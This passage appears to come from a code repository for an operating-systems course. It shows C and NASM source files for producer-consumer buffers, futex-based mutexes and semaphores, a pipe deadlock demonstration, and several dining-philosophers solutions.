goto cleanup;
}
while (fscanf(f, "%lf", &x) == 1) {
pthread_mutex_lock(&d->data_pieces_mutex);
d->data_pieces++;
pthread_mutex_unlock(&d->data_pieces_mutex);
sem_wait(&d->empty);
pthread_mutex_lock(&d->buf_mutex);
buf_push(&d->buf, x);
pthread_mutex_unlock(&d->buf_mutex);
sem_post(&d->full);
}
fclose(f);
cleanup:
pthread_mutex_lock(&d->num_producers_mutex);
d->num_producers--;
pthread_mutex_unlock(&d->num_producers_mutex);
free(file_name);
return NULL;
}
static void *consumer(void *data)
{
double x;
data_t *d = data;
while (1) {
sem_wait(&d->full);
pthread_mutex_lock(&d->buf_mutex);
if (d->done == 1 && d->buf.i == 0) {
pthread_mutex_unlock(&d->buf_mutex);
break;
}
x = buf_pop(&d->buf);
pthread_mutex_unlock(&d->buf_mutex);
sem_post(&d->empty);
x = log(x);
pthread_mutex_lock(&d->sum_mutex);
d->sum += x;
d->count++;
pthread_mutex_unlock(&d->sum_mutex);
pthread_mutex_lock(&d->data_pieces_mutex);
d->data_pieces--;
pthread_mutex_unlock(&d->data_pieces_mutex);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t *tc, *tp;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <file name> ... \n", argv[0]);
return 1;
}
data_init(&d);
n = argc - 1;
d.num_producers = n;
tp = malloc(n * sizeof(*tp));
for (i = 0; i < n; i++) {
d.file_name = argv[i+1];
pthread_create(&tp[i], NULL, producer, &d);
sem_wait(&d.data_sem);
}
tc = malloc(num_consumers * sizeof(*tc));
for (i = 0; i < num_consumers; i++)
pthread_create(&tc[i], NULL, consumer, &d);
while (1) {
pthread_mutex_lock(&d.sum_mutex);
if(d.count > 0)
printf("total average: %f (sum = %f; count = %ld)\n",
d.sum/((double) d.count), d.sum, d.count);
pthread_mutex_unlock(&d.sum_mutex);
pthread_mutex_lock(&d.num_producers_mutex);
pthread_mutex_lock(&d.data_pieces_mutex);
if (d.num_producers == 0 && d.data_pieces == 0)
break;
pthread_mutex_unlock(&d.data_pieces_mutex);
pthread_mutex_unlock(&d.num_producers_mutex);
usleep(200000);
}
pthread_mutex_unlock(&d.data_pieces_mutex);
pthread_mutex_unlock(&d.num_producers_mutex);
pthread_mutex_lock(&d.buf_mutex);
d.done = 1;
pthread_mutex_unlock(&d.buf_mutex);
for (i = 0; i < num_consumers; i++)
sem_post(&d.full);
for (i = 0; i < n; i++)
pthread_join(tp[i], NULL);
for (i = 0; i < num_consumers; i++)
pthread_join(tc[i], NULL);
data_destroy(&d);
return 0;
}
test.cC / 24 lines
#include <stdio.h>
typedef struct {
int x;
int y;
} data_t;
static void data_init(data_t *d)
{
d->x = 1;
d->y = 1;
}
int main()
{
data_t d;
double x;
data_init(&d);
x = 5.12;
printf("%d %d %f\n", d.x, d.y, x);
return 0;
}
producer-consumer-00 (07-02-01)
MakefileMake / 28 lines
SRCMODULES = atomic.asm futex.c mutex.c semaphore.c
OBJMODULES = $(SRCMODULES:.asm=.o)
OBJMODULES := $(OBJMODULES:.c=.o)
PROGRAMS = test_mutex test_semaphore main
CC = gcc
CFLAGS = -g -Wall -O0
ASM = nasm
AFLAGS = -g -f elf64
all: $(PROGRAMS)
%.o: %.asm %.h
$(ASM) $(AFLAGS) $< -o $@
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
ctags:
ctags *.c *.h
atomic.asmAssembly / 26 lines
global xchg
global cmpxchg
global dec
global inc
section .text
xchg:
mov eax, esi
xchg dword [rdi], eax
ret
cmpxchg:
mov eax, esi
lock cmpxchg dword [rdi], edx
ret
dec:
mov eax, -1
lock xadd dword [rdi], eax
ret
inc:
mov eax, 1
lock xadd dword [rdi], eax
ret
atomic.hC / 9 lines
#ifndef ATOMIC_H
#define ATOMIC_H
int xchg(int *var, int old);
int cmpxchg(int *var, int old, int new);
int dec(int *var);
int inc(int *var);
#endif
futex.cC / 15 lines
#include <linux/futex.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "futex.h"
void futex_wait(int *futex, int expected)
{
syscall(SYS_futex, futex, FUTEX_WAIT, expected, NULL, NULL, 0);
}
void futex_wake(int *futex, int num)
{
syscall(SYS_futex, futex, FUTEX_WAKE, num, NULL, NULL, 0);
}
futex.hC / 7 lines
#ifndef FUTEX_H
#define FUTEX_H
void futex_wait(int *futex, int expected);
void futex_wake(int *futex, int num);
#endif
main.cC / 78 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
#include "semaphore.h"
typedef struct {
semaphore_t empty;
semaphore_t full;
int mutex;
int value;
} data_t;
static void *producer(void *data)
{
data_t *d = data;
while (1) {
down(&d->empty);
lock(&d->mutex);
d->value++;
usleep(100000);
unlock(&d->mutex);
up(&d->full);
}
return NULL;
}
static void *consumer(void *data)
{
data_t *d = data;
while (1) {
down(&d->full);
lock(&d->mutex);
d->value--;
usleep(100000);
unlock(&d->mutex);
up(&d->empty);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t *d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
d = malloc(n * sizeof(*d));
for (i = 0; i < n; i++) {
init(&d[i].empty, n);
init(&d[i].full, 0);
d[i].mutex = 0;
d[i].value = 0;
pthread_create(&t, NULL, producer, &d[i]);
pthread_create(&t, NULL, consumer, &d[i]);
}
while (1) {
for (i = 0; i < n; i++)
printf("%2d ", d[i].value);
printf("\n");
usleep(500000);
}
return 0;
}
mutex.cC / 30 lines
#include "atomic.h"
#include "futex.h"
#include "mutex.h"
void lock(int *m)
{
int old;
old = cmpxchg(m, 0, 1);
if (old != 0) {
if (old != 2)
old = xchg(m, 2);
while (old != 0) {
futex_wait(m, 2);
old = xchg(m, 2);
}
}
}
void unlock(int *m)
{
int old;
old = dec(m);
if (old != 1) {
*m = 0;
futex_wake(m, 1);
}
}
mutex.hC / 7 lines
#ifndef MUTEX_H
#define MUTEX_H
void lock(int *m);
void unlock(int *m);
#endif
semaphore.cC / 51 lines
#include "atomic.h"
#include "futex.h"
#include "semaphore.h"
void init(semaphore_t *s, int value)
{
s->value = value;
s->waiters = 0;
}
static int try_down(semaphore_t *s)
{
int value, old;
value = s->value;
while (value > 0) {
old = cmpxchg(&s->value, value, value - 1);
if (old == value)
return 1;
value = old;
}
return 0;
}
void down(semaphore_t *s)
{
int success;
success = try_down(s);
if (success)
return;
inc(&s->waiters);
while (1) {
success = try_down(s);
if (success) {
dec(&s->waiters);
return;
}
futex_wait(&s->value, 0);
}
}
void up(semaphore_t *s)
{
inc(&s->value);
if (s->waiters > 0)
futex_wake(&s->value, 1);
}
semaphore.hC / 13 lines
#ifndef SEMAPHORE_H
#define SEMAPHORE_H
typedef struct {
int value;
int waiters;
} semaphore_t;
void init(semaphore_t *s, int value);
void down(semaphore_t *s);
void up(semaphore_t *s);
#endif
test_mutex.cC / 54 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "mutex.h"
enum {
pause_seconds = 1
};
typedef struct {
int val;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
lock(&d->val);
d->x++;
unlock(&d->val);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
d.val = 0;
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
printf("%d\n", d.x);
sleep(pause_seconds);
}
return 0;
}
test_semaphore.cC / 56 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include "semaphore.h"
enum {
pause_seconds = 1
};
typedef struct {
semaphore_t s;
int x;
} data_t;
static void *worker_thread(void *data)
{
data_t *d = data;
while (1) {
down(&d->s);
d->x++;
up(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t;
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of threads>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
init(&d.s, 1);
d.x = 0;
for (i = 0; i < n; i++)
pthread_create(&t, NULL, worker_thread, &d);
while (1) {
down(&d.s);
printf("%d\n", d.x);
up(&d.s);
sleep(pause_seconds);
}
return 0;
}
02 (07-02)
deadlock.cC / 27 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main()
{
char buf[100];
int pid, rc, fd[2];
pipe(fd);
pid = fork();
if (pid == 0) {
dup2(fd[1], 1);
close(fd[1]);
close(fd[0]);
execlp("ls", "ls", "-lR", NULL);
perror("ls");
exit(1);
}
close(fd[1]);
wait(NULL);
while ((rc = read(fd[0], buf, sizeof(buf))) > 0)
write(1, buf, rc);
return 0;
}
philosophers-02.cC / 87 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5
};
typedef struct {
pthread_mutex_t forks[num_philosophers];
sem_t s;
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
while (1) {
think(i);
sem_wait(&d->s);
pthread_mutex_lock(&d->forks[i]);
sleep(1);
pthread_mutex_lock(&d->forks[right(i)]);
eat(i);
pthread_mutex_unlock(&d->forks[i]);
pthread_mutex_unlock(&d->forks[right(i)]);
sem_post(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of semaphores>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
sem_init(&d.s, 0, n);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
sem_destroy(&d.s);
return 0;
}
philosophers-03.cC / 85 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
enum {
num_philosophers = 5
};
typedef struct {
pthread_mutex_t forks[num_philosophers];
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
int right_fork(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
void swap_int(int *x, int *y)
{
int tmp;
tmp = *x;
*x = *y;
*y = tmp;
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
int left = i, right = right_fork(i);
if (right < left)
swap_int(&left, &right);
while (1) {
think(i);
sleep(2);
pthread_mutex_lock(&d->forks[left]);
pthread_mutex_lock(&d->forks[right]);
eat(i);
pthread_mutex_unlock(&d->forks[left]);
pthread_mutex_unlock(&d->forks[right]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
return 0;
}
philosophers-04.cC / 79 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
enum {
num_philosophers = 5
};
typedef struct {
pthread_mutex_t forks[num_philosophers];
pthread_mutex_t steward;
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
int right_fork(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
int left = i, right = right_fork(i);
while (1) {
think(i);
sleep(2);
pthread_mutex_lock(&d->steward);
pthread_mutex_lock(&d->forks[left]);
pthread_mutex_lock(&d->forks[right]);
pthread_mutex_unlock(&d->steward);
eat(i);
pthread_mutex_unlock(&d->forks[left]);
pthread_mutex_unlock(&d->forks[right]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
pthread_mutex_init(&d.steward, NULL);
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
pthread_mutex_destroy(&d.steward);
return 0;
}
philosophers-05.cC / 86 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5
};
typedef struct {
pthread_mutex_t forks[num_philosophers];
} data_t;
typedef struct {
data_t *data;
int i;
unsigned int randseed;
} philosopher_data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
ts.tv_sec += 5;
while (1) {
think(i);
pthread_mutex_lock(&d->forks[i]);
pthread_mutex_lock(&d->forks[right(i)]);
eat(i);
pthread_mutex_unlock(&d->forks[i]);
pthread_mutex_unlock(&d->forks[right(i)]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
srand(time(NULL));
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of semaphores>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
return 0;
}
philosophers-06.cC / 120 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5
};
enum possible_states {
hungry,
eating,
thinking
};
typedef struct {
int state[num_philosophers];
sem_t can_eat[num_philosophers];
pthread_mutex_t state_mut;
} data_t;
typedef struct {
data_t *data;
int i;
} philosopher_data_t;
static int left(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
int right(int i)
{
return (i + 1) % num_philosophers;
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void test(data_t *d, int i)
{
if (d->state[i] == hungry &&
d->state[left(i)] != eating &&
d->state[right(i)] != eating) {
d->state[i] = eating;
sem_post(&d->can_eat[i]);
}
}
static void put_forks(data_t *d, int i)
{
pthread_mutex_lock(&d->state_mut);
d->state[i] = thinking;
test(d, left(i));
test(d, right(i));
pthread_mutex_unlock(&d->state_mut);
}
static void take_forks(data_t *d, int i)
{
pthread_mutex_lock(&d->state_mut);
d->state[i] = hungry;
test(d, i);
pthread_mutex_unlock(&d->state_mut);
sem_wait(&d->can_eat[i]);
}
static void *philosopher(void *data)
{
philosopher_data_t *p = data;
data_t *d = p->data;
int i = p->i;
while (1) {
think(i);
sleep(2);
take_forks(d, i);
eat(i);
put_forks(d, i);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
philosopher_data_t p[num_philosophers];
data_t d;
for (i = 0; i < num_philosophers; i++) {
d.state[i] = thinking;
sem_init(&d.can_eat[i], 0, 0);
}
pthread_mutex_init(&d.state_mut, NULL);
for (i = 0; i < num_philosophers; i++) {
p[i].i = i;
p[i].data = &d;
pthread_create(&t[i], NULL, philosopher, &p[i]);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d.can_eat[i]);
pthread_mutex_destroy(&d.state_mut);
return 0;
}
philosophers-07.cC / 71 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum { num_philosophers = 5 };
typedef struct {
pthread_mutex_t forks[num_philosophers];
sem_t data_sem;
int i;
} data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
pthread_mutex_lock(&d->forks[i]);
sleep(1);
pthread_mutex_lock(&d->forks[right(i)]);
eat(i);
pthread_mutex_unlock(&d->forks[i]);
pthread_mutex_unlock(&d->forks[right(i)]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
sem_init(&d.data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
sem_destroy(&d.data_sem);
return 0;
}
philosophers-08.cC / 82 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum { num_philosophers = 5 };
typedef struct {
pthread_mutex_t forks[num_philosophers];
sem_t data_sem;
sem_t s;
int i;
} data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sem_wait(&d->s);
pthread_mutex_lock(&d->forks[i]);
sleep(1);
pthread_mutex_lock(&d->forks[right(i)]);
eat(i);
pthread_mutex_unlock(&d->forks[i]);
pthread_mutex_unlock(&d->forks[right(i)]);
sem_post(&d->s);
}
return NULL;
}
int main(int argc, char **argv)
{
int i, n;
pthread_t t[num_philosophers];
data_t d;
if (argc < 2) {
fprintf(stderr, "Usage: %s <number of semaphores>\n", argv[0]);
return 1;
}
n = atoi(argv[1]);
sem_init(&d.data_sem, 0, 0);
sem_init(&d.s, 0, n);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
sem_destroy(&d.s);
sem_destroy(&d.data_sem);
return 0;
}
philosophers-09.cC / 83 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum { num_philosophers = 5 };
typedef struct {
pthread_mutex_t forks[num_philosophers];
sem_t data_sem;
int i;
} data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
void swap_int(int *x, int *y)
{
int tmp;
tmp = *x;
*x = *y;
*y = tmp;
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
int l = i, r = right(i);
if (r < l)
swap_int(&l, &r);
while (1) {
think(i);
sleep(2);
pthread_mutex_lock(&d->forks[l]);
pthread_mutex_lock(&d->forks[r]);
eat(i);
pthread_mutex_unlock(&d->forks[l]);
pthread_mutex_unlock(&d->forks[r]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
sem_init(&d.data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
sem_destroy(&d.data_sem);
return 0;
}
philosophers-10.cC / 77 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum { num_philosophers = 5 };
typedef struct {
sem_t data_sem;
pthread_mutex_t forks[num_philosophers];
int i;
pthread_mutex_t steward;
} data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
int l = i, r = right(i);
while (1) {
think(i);
sleep(2);
pthread_mutex_lock(&d->steward);
pthread_mutex_lock(&d->forks[l]);
pthread_mutex_lock(&d->forks[r]);
pthread_mutex_unlock(&d->steward);
eat(i);
pthread_mutex_unlock(&d->forks[l]);
pthread_mutex_unlock(&d->forks[r]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
sem_init(&d.data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
pthread_mutex_init(&d.steward, NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
sem_destroy(&d.data_sem);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
pthread_mutex_destroy(&d.steward);
return 0;
}
philosophers-11.cC / 89 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5,
max_time = 5
};
typedef struct {
sem_t data_sem;
pthread_mutex_t forks[num_philosophers];
int i;
unsigned int randseed;
} data_t;
int left(int i) { return (i - 1 + num_philosophers) % num_philosophers; }
int right(int i) { return (i + 1) % num_philosophers; }
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
unsigned int randseed = d->randseed;
sem_post(&d->data_sem);
int l = i, r = right(i);
struct timespec current_time, timeout_left, timeout_right;
int time_left, time_right;
clock_gettime(CLOCK_REALTIME, ¤t_time);
time_left = rand_r(&randseed) % max_time;
time_right = rand_r(&randseed) % max_time;
timeout_left = current_time;
timeout_left.tv_sec += time_left;
timeout_right = current_time;
timeout_right.tv_sec += time_right;
while (1) {
think(i);
pthread_mutex_timedlock(&d->forks[l], &timeout_left);
sleep(2);
pthread_mutex_timedlock(&d->forks[r], &timeout_right);
eat(i);
pthread_mutex_unlock(&d->forks[l]);
pthread_mutex_unlock(&d->forks[r]);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
d.randseed = time(NULL);
sem_init(&d.data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_init(&d.forks[i], NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
d.randseed++;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
sem_destroy(&d.data_sem);
for (i = 0; i < num_philosophers; i++)
pthread_mutex_destroy(&d.forks[i]);
return 0;
}
philosophers-12.cC / 119 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5
};
enum possible_states {
hungry,
eating,
thinking
};
typedef struct {
sem_t data_sem;
int state[num_philosophers];
sem_t can_eat[num_philosophers];
pthread_mutex_t state_mut;
int i;
} data_t;
static int left(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
int right(int i)
{
return (i + 1) % num_philosophers;
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void test(data_t *d, int i)
{
if (d->state[i] == hungry &&
d->state[left(i)] != eating &&
d->state[right(i)] != eating) {
d->state[i] = eating;
sem_post(&d->can_eat[i]);
}
}
static void put_forks(data_t *d, int i)
{
pthread_mutex_lock(&d->state_mut);
d->state[i] = thinking;
test(d, left(i));
test(d, right(i));
pthread_mutex_unlock(&d->state_mut);
}
static void take_forks(data_t *d, int i)
{
pthread_mutex_lock(&d->state_mut);
d->state[i] = hungry;
test(d, i);
pthread_mutex_unlock(&d->state_mut);
sem_wait(&d->can_eat[i]);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sleep(2);
take_forks(d, i);
eat(i);
put_forks(d, i);
}
return NULL;
}
int main(int argc, char **argv)
{
int i;
pthread_t t[num_philosophers];
data_t d;
sem_init(&d.data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++) {
d.state[i] = thinking;
sem_init(&d.can_eat[i], 0, 0);
}
pthread_mutex_init(&d.state_mut, NULL);
for (i = 0; i < num_philosophers; i++) {
d.i = i;
pthread_create(&t[i], NULL, philosopher, &d);
sem_wait(&d.data_sem);
}
for (i = 0; i < num_philosophers; i++)
pthread_join(t[i], NULL);
sem_destroy(&d.data_sem);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d.can_eat[i]);
pthread_mutex_destroy(&d.state_mut);
return 0;
}
philosophers-13.cC / 160 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
enum {
num_philosophers = 5,
num_hands = 2
};
enum hands {
left_hand,
right_hand
};
enum fork_states {
dirty,
clean
};
typedef struct {
sem_t data_sem;
int has_fork[num_philosophers][num_hands];
int wants_fork[num_philosophers][num_hands];
sem_t forks[num_philosophers];
int fork_state[num_philosophers];
pthread_mutex_t state_mut;
int i;
} data_t;
static void data_init(data_t *d)
{
int i;
sem_init(&d->data_sem, 0, 0);
for (i = 0; i < num_philosophers; i++) {
d->has_fork[i][left_hand] = 1;
d->has_fork[i][right_hand] = 0;
d->wants_fork[i][left_hand] = 0;
d->wants_fork[i][right_hand] = 0;
sem_init(&d->forks[i], 0, 1);
d->fork_state[i] = dirty;
}
pthread_mutex_init(&d->state_mut, NULL);
}
static void data_destroy(data_t *d)
{
int i;
sem_destroy(&d->data_sem);
for (i = 0; i < num_philosophers; i++)
sem_destroy(&d->forks[i]);
pthread_mutex_destroy(&d->state_mut);
}
static int left_of(int i)
{
return (i - 1 + num_philosophers) % num_philosophers;
}
static int right_of(int i)
{
return (i + 1) % num_philosophers;
}
static void think(int i)
{
printf("Philosopher %d is thinking\n", i);
}
static void eat(int i)
{
printf("Philosopher %d is eating\n", i);
}
static void *philosopher(void *data)
{
data_t *d = data;
int i = d->i;
sem_post(&d->data_sem);
while (1) {
think(i);
sleep(1);
if (d->has_fork[i][left_hand] &&
d->wants_fork[left_of(i)][right_hand] &&
d->fork_state[i] == dirty) {
d->fork_state[i] = clean;
d->wants_fork[i][left_hand] = 1;
d->has_fork[i][left_hand] = 0;
d->has_fork[left_of(i)][right_hand] = 1;
sem_post(&d->forks[i]);
}
if (!d->has_fork[i][left_hand]) {
d->wants_fork[i][left_hand] = 1;
sem_wait(&d->forks[i]);
}
if (d->has_fork[i][right_hand] &&
d->wants_fork[right_of(i)][left_hand] &&
d->fork_state[right_of(i)] == dirty) {
d->fork_state[right_of(i)] = clean;
d->wants_fork[i][right_hand] = 1;
d->has_fork[i][right_hand] = 0;
d->has_fork[right_of(i)][left_hand] = 1;
sem_post(&d->forks[right_of(i)]);
}
if (!d->has_fork[i][right_hand]) {
d->wants_fork[i][right_hand] = 1;
sem_wait(&d->forks[right_of(i)]);
}
eat(i);
d->fork_state[i] = dirty;
d->fork_state[right_of(i)] = dirty;
/* TODO: merge with the previous one */
if (d->wants_fork[left_of(i)][right_hand]) {
d->fork_state[i] = clean;
